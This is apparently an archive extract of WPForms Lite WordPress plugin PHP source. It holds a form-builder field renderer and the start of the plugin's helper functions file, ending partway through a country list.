$value = isset( $form_data[ $panel ][ $field ] ) ? $form_data[ $panel ][ $field ] : $default;
}
if ( isset( $args['field_name'] ) ) {
$field_name = $args['field_name'];
}
if ( isset( $args['value'] ) ) {
$value = $args['value'];
}
// Check for data attributes.
if ( ! empty( $args['data'] ) ) {
foreach ( $args['data'] as $key => $val ) {
if ( is_array( $val ) ) {
$val = wp_json_encode( $val );
}
$data_attr .= ' data-' . $key . '=\'' . $val . '\'';
}
}
// Check for readonly inputs.
if ( ! empty( $args['readonly' ] ) ) {
$data_attr .= 'readonly';
}
// Determine what field type to output.
switch ( $option ) {
// Text input.
case 'text':
$output = sprintf(
'<input type="%s" id="%s" name="%s" value="%s" placeholder="%s" class="%s" %s>',
! empty( $args['type'] ) ? esc_attr( $args['type'] ) : 'text',
$input_id,
$field_name,
esc_attr( $value ),
$placeholder,
$input_class,
$data_attr
);
break;
// Textarea.
case 'textarea':
$output = sprintf(
'<textarea id="%s" name="%s" rows="%d" placeholder="%s" class="%s" %s>%s</textarea>',
$input_id,
$field_name,
! empty( $args['rows'] ) ? (int) $args['rows'] : '3',
$placeholder,
$input_class,
$data_attr,
esc_textarea( $value )
);
break;
// TinyMCE.
case 'tinymce':
$id = str_replace( '-', '_', $input_id );
$args['tinymce']['textarea_name'] = $field_name;
$args['tinymce']['teeny'] = true;
$args['tinymce'] = wp_parse_args( $args['tinymce'], array(
'media_buttons' => false,
'teeny' => true,
) );
ob_start();
wp_editor( $value, $id, $args['tinymce'] );
$output = ob_get_clean();
break;
// Checkbox.
case 'checkbox':
$output = sprintf(
'<input type="checkbox" id="%s" name="%s" value="1" class="%s" %s %s>',
$input_id,
$field_name,
$input_class,
checked( '1', $value, false ),
$data_attr
);
$output .= sprintf(
'<label for="%s" class="inline">%s',
$input_id,
$label
);
if ( ! empty( $args['tooltip'] ) ) {
$output .= sprintf( ' <i class="fa fa-question-circle wpforms-help-tooltip" title="%s"></i>', esc_attr( $args['tooltip'] ) );
}
$output .= '</label>';
break;
// Radio.
case 'radio':
$options = $args['options'];
$radio_counter = 1;
$output = '';
foreach ( $options as $key => $item ) {
if ( empty( $item['label'] ) ) {
continue;
}
$item_value = ! empty( $item['value'] ) ? $item['value'] : $key;
$output .= '<span class="row">';
if ( ! empty( $item['pre_label'] ) ) {
$output .= '<label>' . $item['pre_label'];
}
$output .= sprintf(
'<input type="radio" id="%s-%d" name="%s" value="%s" class="%s" %s %s>',
$input_id,
$radio_counter,
$field_name,
$item_value,
$input_class,
checked( $item_value, $value, false ),
$data_attr
);
if ( empty( $item['pre_label'] ) ) {
$output .= sprintf(
'<label for="%s-%d" class="inline">%s',
$input_id,
$radio_counter,
$item['label']
);
} else {
$output .= '<span class="wpforms-panel-field-radio-label">' . $item['label'] . '</span>';
}
if ( ! empty( $item['tooltip'] ) ) {
$output .= sprintf( ' <i class="fa fa-question-circle wpforms-help-tooltip" title="%s"></i>', esc_attr( $item['tooltip'] ) );
}
$output .= '</label></span>';
$radio_counter ++;
}
if ( ! empty( $output ) ) {
$output = '<div class="wpforms-panel-field-radio-container">' . $output . '</div>';
}
break;
// Select.
case 'select':
if ( empty( $args['options'] ) && empty( $args['field_map'] ) ) {
return '';
}
if ( ! empty( $args['field_map'] ) ) {
$options = array();
$available_fields = wpforms_get_form_fields( $form_data, $args['field_map'] );
if ( ! empty( $available_fields ) ) {
foreach ( $available_fields as $id => $available_field ) {
$lbl = ! empty( $available_field['label'] ) ? esc_attr( $available_field['label'] ) : esc_html__( 'Field #' ) . $id;
$options[ $id ] = $lbl;
}
}
$input_class .= ' wpforms-field-map-select';
$data_attr .= ' data-field-map-allowed="' . implode( ' ', $args['field_map'] ) . '"';
if ( ! empty( $placeholder ) ) {
$data_attr .= ' data-field-map-placeholder="' . esc_attr( $placeholder ) . '"';
}
} else {
$options = $args['options'];
}
$output = sprintf(
'<select id="%s" name="%s" class="%s" %s>',
$input_id,
$field_name,
$input_class,
$data_attr
);
if ( ! empty( $placeholder ) ) {
$output .= '<option value="">' . $placeholder . '</option>';
}
foreach ( $options as $key => $item ) {
$output .= sprintf( '<option value="%s" %s>%s</option>', esc_attr( $key ), selected( $key, $value, false ), $item );
}
$output .= '</select>';
break;
}
// Put the pieces together.
$field_open = sprintf(
'<div id="%s-wrap" class="wpforms-panel-field %s %s">',
$input_id,
$class,
'wpforms-panel-field-' . sanitize_html_class( $option )
);
$field_open .= ! empty( $args['before'] ) ? $args['before'] : '';
if ( 'checkbox' !== $option && ! empty( $label ) ) {
$field_label = sprintf(
'<label for="%s">%s',
$input_id,
$label
);
if ( ! empty( $args['tooltip'] ) ) {
$field_label .= sprintf( ' <i class="fa fa-question-circle wpforms-help-tooltip" title="%s"></i>', esc_attr( $args['tooltip'] ) );
}
if ( ! empty( $args['after_tooltip'] ) ) {
$field_label .= $args['after_tooltip'];
}
if ( ! empty( $args['smarttags'] ) ) {
$type = ! empty( $args['smarttags']['type'] ) ? esc_attr( $args['smarttags']['type'] ) : 'fields';
$fields = ! empty( $args['smarttags']['fields'] ) ? esc_attr( $args['smarttags']['fields'] ) : '';
$field_label .= '<a href="#" class="toggle-smart-tag-display" data-type="' . $type . '" data-fields="' . $fields . '"><i class="fa fa-tags"></i> <span>' . esc_html__( 'Show Smart Tags', 'wpforms-lite' ) . '</span></a>';
}
$field_label .= '</label>';
if ( ! empty( $args['after_label'] ) ) {
$field_label .= $args['after_label'];
}
} else {
$field_label = '';
}
$field_close = ! empty( $args['after'] ) ? $args['after'] : '';
$field_close .= '</div>';
$output = $field_open . $field_label . $output . $field_close;
// Wash our hands.
if ( $echo ) {
echo $output;
} else {
return $output;
}
}
/**
* Get notification state, whether it's opened or closed.
*
* @since 1.4.1
* @deprecated 1.4.8
*
* @param int $form_id
* @param int $notification_id
*
* @return string
*/
function wpforms_builder_notification_get_state( $form_id, $notification_id ) {
_deprecated_function( __FUNCTION__, '1.4.8 of WPForms plugin', 'wpforms_builder_settings_block_get_state()' );
return wpforms_builder_settings_block_get_state( $form_id, $notification_id, 'notification' );
}
/**
* Get settings block state, whether it's opened or closed.
*
* @since 1.4.8
*
* @param int $form_id
* @param int $block_id
* @param string $block_type
*
* @return string
*/
function wpforms_builder_settings_block_get_state( $form_id, $block_id, $block_type ) {
$form_id = absint( $form_id );
$block_id = absint( $block_id );
$block_type = sanitize_key( $block_type );
$state = 'opened';
$all_states = get_user_meta( get_current_user_id(), 'wpforms_builder_settings_collapsable_block_states', true );
if ( empty( $all_states ) ) {
return $state;
}
if (
is_array( $all_states ) &&
! empty( $all_states[ $form_id ][ $block_type ][ $block_id ] ) &&
'closed' === $all_states[ $form_id ][ $block_type ][ $block_id ]
) {
$state = 'closed';
}
// Backward compatibility for notifications.
if ( 'notification' === $block_type && 'closed' !== $state ) {
$notification_states = get_user_meta( get_current_user_id(), 'wpforms_builder_notification_states', true );
}
if (
! empty( $notification_states[ $form_id ][ $block_id ] ) &&
'closed' === $notification_states[ $form_id ][ $block_id ]
) {
$state = 'closed';
}
if ( 'notification' === $block_type ) {
// Backward compatibility for notifications.
return apply_filters( 'wpforms_builder_notification_get_state', $state, $form_id, $block_id );
}
return apply_filters( 'wpforms_builder_settings_block_get_state', $state, $form_id, $block_id, $block_type );
}
home/xbodynamge/lebauwcentre/wp-content/plugins/wpforms-lite/includes/functions.php 0000644 00000147142 15114650206 0025060 0 ustar 00 <?php
/**
* Contains various functions that may be potentially used throughout
* the WPForms plugin.
*
* @package WPForms
* @author WPForms
* @since 1.0.0
* @license GPL-2.0+
* @copyright Copyright (c) 2016, WPForms LLC
*/
/**
* Helper function to trigger displaying a form.
*
* @since 1.0.2
*
* @param mixed $form_id Form ID.
* @param bool $title Form title.
* @param bool $desc Form description.
*/
function wpforms_display( $form_id = false, $title = false, $desc = false ) {
wpforms()->frontend->output( $form_id, $title, $desc );
}
/**
* Performs json_decode and unslash.
*
* @since 1.0.0
*
* @param string $data
*
* @return array|bool
*/
function wpforms_decode( $data ) {
if ( ! $data || empty( $data ) ) {
return false;
}
return wp_unslash( json_decode( $data, true ) );
}
/**
* Performs json_encode and wp_slash.
*
* @since 1.3.1.3
*
* @param mixed $data
*
* @return string
*/
function wpforms_encode( $data = false ) {
if ( empty( $data ) ) {
return false;
}
return wp_slash( wp_json_encode( $data ) );
}
/**
* Check if a string is a valid URL.
*
* @since 1.0.0
*
* @param string $url
*
* @return bool
*/
function wpforms_is_url( $url ) {
if ( preg_match( '_^(?:(?:https?|ftp)://)(?:\S+(?::\S*)?@)?(?:(?!10(?:\.\d{1,3}){3})(?!127(?:\.\d{1,3}){3})(?!169\.254(?:\.\d{1,3}){2})(?!192\.168(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\x{00a1}-\x{ffff}0-9]+-?)*[a-z\x{00a1}-\x{ffff}0-9]+)(?:\.(?:[a-z\x{00a1}-\x{ffff}0-9]+-?)*[a-z\x{00a1}-\x{ffff}0-9]+)*(?:\.(?:[a-z\x{00a1}-\x{ffff}]{2,})))(?::\d{2,5})?(?:/[^\s]*)?$_iuS', trim( $url ) ) ) {
return true;
}
return false;
}
/**
* Get current URL.
*
* @since 1.0.0
*
* @return string
*/
function wpforms_current_url() {
$url = ( ! empty( $_SERVER['HTTPS'] ) ) ? 'https://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
return esc_url_raw( $url );
}
/**
* Object to array.
*
* @since 1.1.7
*
* @param object $object
*
* @return mixed
*/
function wpforms_object_to_array( $object ) {
if ( ! is_object( $object ) && ! is_array( $object ) ) {
return $object;
}
if ( is_object( $object ) ) {
$object = get_object_vars( $object );
}
return array_map( 'wpforms_object_to_array', $object );
}
/**
* Get the value of a specific WPForms setting.
*
* @since 1.0.0
*
* @param string $key
* @param mixed $default
* @param string $option
*
* @return mixed
*/
function wpforms_setting( $key, $default = false, $option = 'wpforms_settings' ) {
$key = wpforms_sanitize_key( $key );
$options = get_option( $option, false );
$value = is_array( $options ) && ! empty( $options[ $key ] ) ? wp_unslash( $options[ $key ] ) : $default;
return $value;
}
/**
* Sanitize key, primarily used for looking up options.
*
* @since 1.3.9
*
* @param string $key
*
* @return string
*/
function wpforms_sanitize_key( $key = '' ) {
return preg_replace( '/[^a-zA-Z0-9_\-\.\:\/]/', '', $key );
}
/**
* Check if form provided contains the specified field type.
*
* @since 1.0.5
*
* @param array|string $type
* @param array|object $form
* @param bool $multiple
*
* @return bool
*/
function wpforms_has_field_type( $type, $form, $multiple = false ) {
$form_data = '';
$field = false;
$type = (array) $type;
if ( $multiple ) {
foreach ( $form as $single_form ) {
$field = wpforms_has_field_type( $type, $single_form );
if ( $field ) {
break;
}
}
return $field;
}
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
foreach ( $form_data['fields'] as $single_field ) {
if ( in_array( $single_field['type'], $type, true ) ) {
$field = true;
break;
}
}
return $field;
}
/**
* Check if form provided contains a field which a specific setting.
*
* @since 1.4.5
*
* @param string $setting
* @param object|array $form
* @param bool $multiple
*
* @return bool
*/
function wpforms_has_field_setting( $setting, $form, $multiple = false ) {
$form_data = '';
$field = false;
if ( $multiple ) {
foreach ( $form as $single_form ) {
$field = wpforms_has_field_setting( $setting, $single_form );
if ( $field ) {
break;
}
}
return $field;
}
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
foreach ( $form_data['fields'] as $single_field ) {
if ( ! empty( $single_field[ $setting ] ) ) {
$field = true;
break;
}
}
return $field;
}
/**
* Checks if form provided contains page breaks, if so give details.
*
* @since 1.0.0
*
* @param mixed $form
*
* @return mixed
*/
function wpforms_has_pagebreak( $form = false ) {
$form_data = '';
$pagebreak = false;
$pages = 1;
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
$fields = $form_data['fields'];
foreach ( $fields as $field ) {
if ( 'pagebreak' === $field['type'] && empty( $field['position'] ) ) {
$pagebreak = true;
$pages ++;
}
}
if ( $pagebreak ) {
return $pages;
}
return false;
}
/**
* Tries to find and return an top or bottom pagebreak.
*
* @since 1.2.1
*
* @param mixed $form
* @param mixed $type
*
* @return array|bool
*/
function wpforms_get_pagebreak( $form = false, $type = false ) {
$form_data = '';
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
$fields = $form_data['fields'];
$pages = array();
foreach ( $fields as $field ) {
if ( 'pagebreak' === $field['type'] ) {
$position = ! empty( $field['position'] ) ? $field['position'] : false;
if ( 'pages' === $type && 'bottom' !== $position ) {
$pages[] = $field;
} elseif ( $position === $type ) {
return $field;
}
}
}
if ( ! empty( $pages ) ) {
return $pages;
}
return false;
}
/**
* Returns information about pages if the form has multiple pages.
*
* @since 1.3.7
*
* @param mixed $form
*
* @return mixed false or an array
*/
function wpforms_get_pagebreak_details( $form = false ) {
$form_data = '';
$details = array();
$pages = 1;
if ( is_object( $form ) && ! empty( $form->post_content ) ) {
$form_data = wpforms_decode( $form->post_content );
} elseif ( is_array( $form ) ) {
$form_data = $form;
}
if ( empty( $form_data['fields'] ) ) {
return false;
}
foreach ( $form_data['fields'] as $field ) {
if ( 'pagebreak' === $field['type'] ) {
if ( empty( $field['position'] ) ) {
$pages ++;
$details['total'] = $pages;
$details['pages'][] = $field;
} elseif ( 'top' === $field['position'] ) {
$details['top'] = $field;
} elseif ( 'bottom' === $field['position'] ) {
$details['bottom'] = $field;
}
}
}
if ( ! empty( $details ) ) {
if ( empty( $details['top'] ) ) {
$details['top'] = array();
}
if ( empty( $details['bottom'] ) ) {
$details['bottom'] = array();
}
$details['current'] = 1;
return $details;
}
return false;
}
/**
* Formats, sanitizes, and returns/echos HTML element ID, classes, attributes,
* and data attributes.
*
* @since 1.3.7
*
* @param string $id
* @param array $class
* @param array $datas
* @param array $atts
* @param bool $echo
*
* @return string
*/
function wpforms_html_attributes( $id = '', $class = array(), $datas = array(), $atts = array(), $echo = false ) {
$id = trim( $id );
$parts = array();
if ( ! empty( $id ) ) {
$id = sanitize_html_class( $id );
if ( ! empty( $id ) ) {
$parts[] = 'id="' . $id . '"';
}
}
if ( ! empty( $class ) ) {
$class = wpforms_sanitize_classes( $class, true );
if ( ! empty( $class ) ) {
$parts[] = 'class="' . $class . '"';
}
}
if ( ! empty( $datas ) ) {
foreach ( $datas as $data => $val ) {
$parts[] = 'data-' . sanitize_html_class( $data ) . '="' . esc_attr( $val ) . '"';
}
}
if ( ! empty( $atts ) ) {
foreach ( $atts as $att => $val ) {
if ( '0' == $val || ! empty( $val ) ) {
if ( '[' === $att[0] ) {
// Handle special case for bound attributes in AMP.
$escaped_att = '[' . sanitize_html_class( trim( $att, '[]' ) ) . ']';
} else {
$escaped_att = sanitize_html_class( $att );
}
$parts[] = $escaped_att . '="' . esc_attr( $val ) . '"';
}
}
}
$output = implode( ' ', $parts );
if ( $echo ) {
echo trim( $output ); // phpcs:ignore
} else {
return trim( $output );
}
}
/**
* Sanitizes string of CSS classes.
*
* @since 1.2.1
*
* @param array|string $classes
* @param bool $convert True will convert strings to array and vice versa.
*
* @return string|array
*/
function wpforms_sanitize_classes( $classes, $convert = false ) {
$array = is_array( $classes );
$css = array();
if ( ! empty( $classes ) ) {
if ( ! $array ) {
$classes = explode( ' ', trim( $classes ) );
}
foreach ( $classes as $class ) {
if ( ! empty( $class ) ) {
$css[] = sanitize_html_class( $class );
}
}
}
if ( $array ) {
return $convert ? implode( ' ', $css ) : $css;
}
return $convert ? $css : implode( ' ', $css );
}
/**
* Convert a file size provided, such as "2M", to bytes.
*
* @since 1.0.0
* @link http://stackoverflow.com/a/22500394
*
* @param string $size
*
* @return int
*/
function wpforms_size_to_bytes( $size ) {
if ( is_numeric( $size ) ) {
return $size;
}
$suffix = substr( $size, - 1 );
$value = substr( $size, 0, - 1 );
switch ( strtoupper( $suffix ) ) {
case 'P':
$value *= 1024;
case 'T':
$value *= 1024;
case 'G':
$value *= 1024;
case 'M':
$value *= 1024;
case 'K':
$value *= 1024;
break;
}
return $value;
}
/**
* Convert bytes to megabytes (or in some cases KB).
*
* @since 1.0.0
*
* @param int $bytes Bytes to convert to a readable format.
*
* @return string
*/
function wpforms_size_to_megabytes( $bytes ) {
if ( $bytes < 1048676 ) {
return number_format( $bytes / 1024, 1 ) . ' KB';
} else {
return round( number_format( $bytes / 1048576, 1 ) ) . ' MB';
}
}
/**
* Convert a file size provided, such as "2M", to bytes.
*
* @since 1.0.0
* @link http://stackoverflow.com/a/22500394
*
* @param bool $bytes
*
* @return mixed
*/
function wpforms_max_upload( $bytes = false ) {
$max = wp_max_upload_size();
if ( $bytes ) {
return $max;
} else {
return wpforms_size_to_megabytes( $max );
}
}
/**
* Retrieve actual fields from a form.
*
* Non-posting elements such as section divider, page break, and HTML are
* automatically excluded. Optionally a white list can be provided.
*
* @since 1.0.0
*
* @param mixed $form
* @param array $whitelist
*
* @return mixed boolean or array
*/
function wpforms_get_form_fields( $form = false, $whitelist = array() ) {
// Accept form (post) object or form ID.
if ( is_object( $form ) ) {
$form = wpforms_decode( $form->post_content );
} elseif ( is_numeric( $form ) ) {
$form = wpforms()->form->get(
$form,
array(
'content_only' => true,
)
);
}
if ( ! is_array( $form ) || empty( $form['fields'] ) ) {
return false;
}
// White list of field types to allow.
$allowed_form_fields = array(
'text',
'textarea',
'select',
'radio',
'checkbox',
'gdpr-checkbox',
'email',
'address',
'url',
'name',
'hidden',
'date-time',
'phone',
'number',
'file-upload',
'rating',
'likert_scale',
'signature',
'payment-single',
'payment-multiple',
'payment-checkbox',
'payment-select',
'payment-total',
'net_promoter_score',
);
$allowed_form_fields = apply_filters( 'wpforms_get_form_fields_allowed', $allowed_form_fields );
$whitelist = ! empty( $whitelist ) ? $whitelist : $allowed_form_fields;
$form_fields = $form['fields'];
foreach ( $form_fields as $id => $form_field ) {
if ( ! in_array( $form_field['type'], $whitelist, true ) ) {
unset( $form_fields[ $id ] );
}
}
return $form_fields;
}
/**
* Conditional logic form fields supported.
*
* @since 1.5.2
*
* @return array
*/
function wpforms_get_conditional_logic_form_fields_supported() {
$fields_supported = array(
'text',
'textarea',
'select',
'radio',
'email',
'url',
'checkbox',
'number',
'payment-multiple',
'payment-checkbox',
'payment-select',
'hidden',
'rating',
'net_promoter_score',
);
return apply_filters( 'wpforms_get_conditional_logic_form_fields_supported', $fields_supported );
}
/**
* Get meta key value for a form field.
*
* @since 1.1.9
*
* @param int|string $id Field ID.
* @param string $key Meta key.
* @param mixed $form_data Form data array.
*
* @return string
*/
function wpforms_get_form_field_meta( $id = '', $key = '', $form_data = '' ) {
if ( empty( $id ) || empty( $key ) || empty( $form_data ) ) {
return '';
}
if ( ! empty( $form_data['fields'][ $id ]['meta'][ $key ] ) ) {
return $form_data['fields'][ $id ]['meta'][ $key ];
} else {
return '';
}
}
/**
* Get meta key value for a form field.
*
* @since 1.3.1
* @since 1.5.0 More strict parameters. Always return an array.
*
* @param string $key Meta key.
* @param string $value Meta value to check against.
* @param array $form_data Form data array.
*
* @return array|bool Empty array, when no data is found.
*/
function wpforms_get_form_fields_by_meta( $key, $value, $form_data ) {
$found = array();
if ( empty( $key ) || empty( $value ) || empty( $form_data['fields'] ) ) {
return $found;
}
foreach ( $form_data['fields'] as $id => $field ) {
if ( ! empty( $field['meta'][ $key ] ) && $value === $field['meta'][ $key ] ) {
$found[ $id ] = $field;
}
}
return $found;
}
/**
* US States.
*
* @since 1.0.0
*
* @return array
*/
function wpforms_us_states() {
$states = array(
'AL' => esc_html__( 'Alabama', 'wpforms-lite' ),
'AK' => esc_html__( 'Alaska', 'wpforms-lite' ),
'AZ' => esc_html__( 'Arizona', 'wpforms-lite' ),
'AR' => esc_html__( 'Arkansas', 'wpforms-lite' ),
'CA' => esc_html__( 'California', 'wpforms-lite' ),
'CO' => esc_html__( 'Colorado', 'wpforms-lite' ),
'CT' => esc_html__( 'Connecticut', 'wpforms-lite' ),
'DE' => esc_html__( 'Delaware', 'wpforms-lite' ),
'DC' => esc_html__( 'District of Columbia', 'wpforms-lite' ),
'FL' => esc_html__( 'Florida', 'wpforms-lite' ),
'GA' => esc_html_x( 'Georgia', 'US State', 'wpforms-lite' ),
'HI' => esc_html__( 'Hawaii', 'wpforms-lite' ),
'ID' => esc_html__( 'Idaho', 'wpforms-lite' ),
'IL' => esc_html__( 'Illinois', 'wpforms-lite' ),
'IN' => esc_html__( 'Indiana', 'wpforms-lite' ),
'IA' => esc_html__( 'Iowa', 'wpforms-lite' ),
'KS' => esc_html__( 'Kansas', 'wpforms-lite' ),
'KY' => esc_html__( 'Kentucky', 'wpforms-lite' ),
'LA' => esc_html__( 'Louisiana', 'wpforms-lite' ),
'ME' => esc_html__( 'Maine', 'wpforms-lite' ),
'MD' => esc_html__( 'Maryland', 'wpforms-lite' ),
'MA' => esc_html__( 'Massachusetts', 'wpforms-lite' ),
'MI' => esc_html__( 'Michigan', 'wpforms-lite' ),
'MN' => esc_html__( 'Minnesota', 'wpforms-lite' ),
'MS' => esc_html__( 'Mississippi', 'wpforms-lite' ),
'MO' => esc_html__( 'Missouri', 'wpforms-lite' ),
'MT' => esc_html__( 'Montana', 'wpforms-lite' ),
'NE' => esc_html__( 'Nebraska', 'wpforms-lite' ),
'NV' => esc_html__( 'Nevada', 'wpforms-lite' ),
'NH' => esc_html__( 'New Hampshire', 'wpforms-lite' ),
'NJ' => esc_html__( 'New Jersey', 'wpforms-lite' ),
'NM' => esc_html__( 'New Mexico', 'wpforms-lite' ),
'NY' => esc_html__( 'New York', 'wpforms-lite' ),
'NC' => esc_html__( 'North Carolina', 'wpforms-lite' ),
'ND' => esc_html__( 'North Dakota', 'wpforms-lite' ),
'OH' => esc_html__( 'Ohio', 'wpforms-lite' ),
'OK' => esc_html__( 'Oklahoma', 'wpforms-lite' ),
'OR' => esc_html__( 'Oregon', 'wpforms-lite' ),
'PA' => esc_html__( 'Pennsylvania', 'wpforms-lite' ),
'RI' => esc_html__( 'Rhode Island', 'wpforms-lite' ),
'SC' => esc_html__( 'South Carolina', 'wpforms-lite' ),
'SD' => esc_html__( 'South Dakota', 'wpforms-lite' ),
'TN' => esc_html__( 'Tennessee', 'wpforms-lite' ),
'TX' => esc_html__( 'Texas', 'wpforms-lite' ),
'UT' => esc_html__( 'Utah', 'wpforms-lite' ),
'VT' => esc_html__( 'Vermont', 'wpforms-lite' ),
'VA' => esc_html__( 'Virginia', 'wpforms-lite' ),
'WA' => esc_html__( 'Washington', 'wpforms-lite' ),
'WV' => esc_html__( 'West Virginia', 'wpforms-lite' ),
'WI' => esc_html__( 'Wisconsin', 'wpforms-lite' ),
'WY' => esc_html__( 'Wyoming', 'wpforms-lite' ),
);
return apply_filters( 'wpforms_us_states', $states );
}
/**
* Countries.
*
* @since 1.0.0
*
* @return array
*/
function wpforms_countries() {
$countries = array(
'AF' => esc_html__( 'Afghanistan', 'wpforms-lite' ),
'AX' => esc_html__( 'Åland Islands', 'wpforms-lite' ),
'AL' => esc_html__( 'Albania', 'wpforms-lite' ),
'DZ' => esc_html__( 'Algeria', 'wpforms-lite' ),
'AS' => esc_html__( 'American Samoa', 'wpforms-lite' ),
'AD' => esc_html__( 'Andorra', 'wpforms-lite' ),
'AO' => esc_html__( 'Angola', 'wpforms-lite' ),
'AI' => esc_html__( 'Anguilla', 'wpforms-lite' ),
'AQ' => esc_html__( 'Antarctica', 'wpforms-lite' ),
'AG' => esc_html__( 'Antigua and Barbuda', 'wpforms-lite' ),
'AR' => esc_html__( 'Argentina', 'wpforms-lite' ),
'AM' => esc_html__( 'Armenia', 'wpforms-lite' ),
'AW' => esc_html__( 'Aruba', 'wpforms-lite' ),
'AU' => esc_html__( 'Australia', 'wpforms-lite' ),
'AT' => esc_html__( 'Austria', 'wpforms-lite' ),
'AZ' => esc_html__( 'Azerbaijan', 'wpforms-lite' ),
'BS' => esc_html__( 'Bahamas', 'wpforms-lite' ),
'BH' => esc_html__( 'Bahrain', 'wpforms-lite' ),
'BD' => esc_html__( 'Bangladesh', 'wpforms-lite' ),
'BB' => esc_html__( 'Barbados', 'wpforms-lite' ),
'BY' => esc_html__( 'Belarus', 'wpforms-lite' ),
'BE' => esc_html__( 'Belgium', 'wpforms-lite' ),
'BZ' => esc_html__( 'Belize', 'wpforms-lite' ),
'BJ' => esc_html__( 'Benin', 'wpforms-lite' ),
'BM' => esc_html__( 'Bermuda', 'wpforms-lite' ),
'BT' => esc_html__( 'Bhutan', 'wpforms-lite' ),
'BO' => esc_html__( 'Bolivia (Plurinational State of)', 'wpforms-lite' ),
'BA' => esc_html__( 'Bosnia and Herzegovina', 'wpforms-lite' ),
'BW' => esc_html__( 'Botswana', 'wpforms-lite' ),
'BV' => esc_html__( 'Bouvet Island', 'wpforms-lite' ),
'BR' => esc_html__( 'Brazil', 'wpforms-lite' ),
'IO' => esc_html__( 'British Indian Ocean Territory', 'wpforms-lite' ),
'BN' => esc_html__( 'Brunei Darussalam', 'wpforms-lite' ),
'BG' => esc_html__( 'Bulgaria', 'wpforms-lite' ),
'BF' => esc_html__( 'Burkina Faso', 'wpforms-lite' ),
'BI' => esc_html__( 'Burundi', 'wpforms-lite' ),
'CV' => esc_html__( 'Cabo Verde', 'wpforms-lite' ),
'KH' => esc_html__( 'Cambodia', 'wpforms-lite' ),
'CM' => esc_html__( 'Cameroon', 'wpforms-lite' ),
'CA' => esc_html__( 'Canada', 'wpforms-lite' ),
'KY' => esc_html__( 'Cayman Islands', 'wpforms-lite' ),
'CF' => esc_html__( 'Central African Republic', 'wpforms-lite' ),
'TD' => esc_html__( 'Chad', 'wpforms-lite' ),
'CL' => esc_html__( 'Chile', 'wpforms-lite' ),
'CN' => esc_html__( 'China', 'wpforms-lite' ),
'CX' => esc_html__( 'Christmas Island', 'wpforms-lite' ),
'CC' => esc_html__( 'Cocos (Keeling) Islands', 'wpforms-lite' ),
'CO' => esc_html__( 'Colombia', 'wpforms-lite' ),
'KM' => esc_html__( 'Comoros', 'wpforms-lite' ),
'CG' => esc_html__( 'Congo', 'wpforms-lite' ),
'CD' => esc_html__( 'Congo (Democratic Republic of the)', 'wpforms-lite' ),
'CK' => esc_html__( 'Cook Islands', 'wpforms-lite' ),
'CR' => esc_html__( 'Costa Rica', 'wpforms-lite' ),
'CI' => esc_html__( 'Côte d\'Ivoire', 'wpforms-lite' ),
'HR' => esc_html__( 'Croatia', 'wpforms-lite' ),
'CU' => esc_html__( 'Cuba', 'wpforms-lite' ),
'CW' => esc_html__( 'Curaçao', 'wpforms-lite' ),
'CY' => esc_html__( 'Cyprus', 'wpforms-lite' ),
'CZ' => esc_html__( 'Czech Republic', 'wpforms-lite' ),
'DK' => esc_html__( 'Denmark', 'wpforms-lite' ),
'DJ' => esc_html__( 'Djibouti', 'wpforms-lite' ),
'DM' => esc_html__( 'Dominica', 'wpforms-lite' ),
'DO' => esc_html__( 'Dominican Republic', 'wpforms-lite' ),
'EC' => esc_html__( 'Ecuador', 'wpforms-lite' ),
'EG' => esc_html__( 'Egypt', 'wpforms-lite' ),
'SV' => esc_html__( 'El Salvador', 'wpforms-lite' ),
'GQ' => esc_html__( 'Equatorial Guinea', 'wpforms-lite' ),
'ER' => esc_html__( 'Eritrea', 'wpforms-lite' ),
'EE' => esc_html__( 'Estonia', 'wpforms-lite' ),
'ET' => esc_html__( 'Ethiopia', 'wpforms-lite' ),
'FK' => esc_html__( 'Falkland Islands (Malvinas)', 'wpforms-lite' ),
'FO' => esc_html__( 'Faroe Islands', 'wpforms-lite' ),
'FJ' => esc_html__( 'Fiji', 'wpforms-lite' ),
'FI' => esc_html__( 'Finland', 'wpforms-lite' ),
'FR' => esc_html__( 'France', 'wpforms-lite' ),
'GF' => esc_html__( 'French Guiana', 'wpforms-lite' ),
'PF' => esc_html__( 'French Polynesia', 'wpforms-lite' ),
'TF' => esc_html__( 'French Southern Territories', 'wpforms-lite' ),
'GA' => esc_html__( 'Gabon', 'wpforms-lite' ),
'GM' => esc_html__( 'Gambia', 'wpforms-lite' ),
'GE' => esc_html_x( 'Georgia', 'Country', 'wpforms-lite' ),
'DE' => esc_html__( 'Germany', 'wpforms-lite' ),
'GH' => esc_html__( 'Ghana', 'wpforms-lite' ),
'GI' => esc_html__( 'Gibraltar', 'wpforms-lite' ),
'GR' => esc_html__( 'Greece', 'wpforms-lite' ),
'GL' => esc_html__( 'Greenland', 'wpforms-lite' ),
'GD' => esc_html__( 'Grenada', 'wpforms-lite' ),
'GP' => esc_html__( 'Guadeloupe', 'wpforms-lite' ),
'GU' => esc_html__( 'Guam', 'wpforms-lite' ),
'GT' => esc_html__( 'Guatemala', 'wpforms-lite' ),
'GG' => esc_html__( 'Guernsey', 'wpforms-lite' ),
'GN' => esc_html__( 'Guinea', 'wpforms-lite' ),
'GW' => esc_html__( 'Guinea-Bissau', 'wpforms-lite' ),
'GY' => esc_html__( 'Guyana', 'wpforms-lite' ),
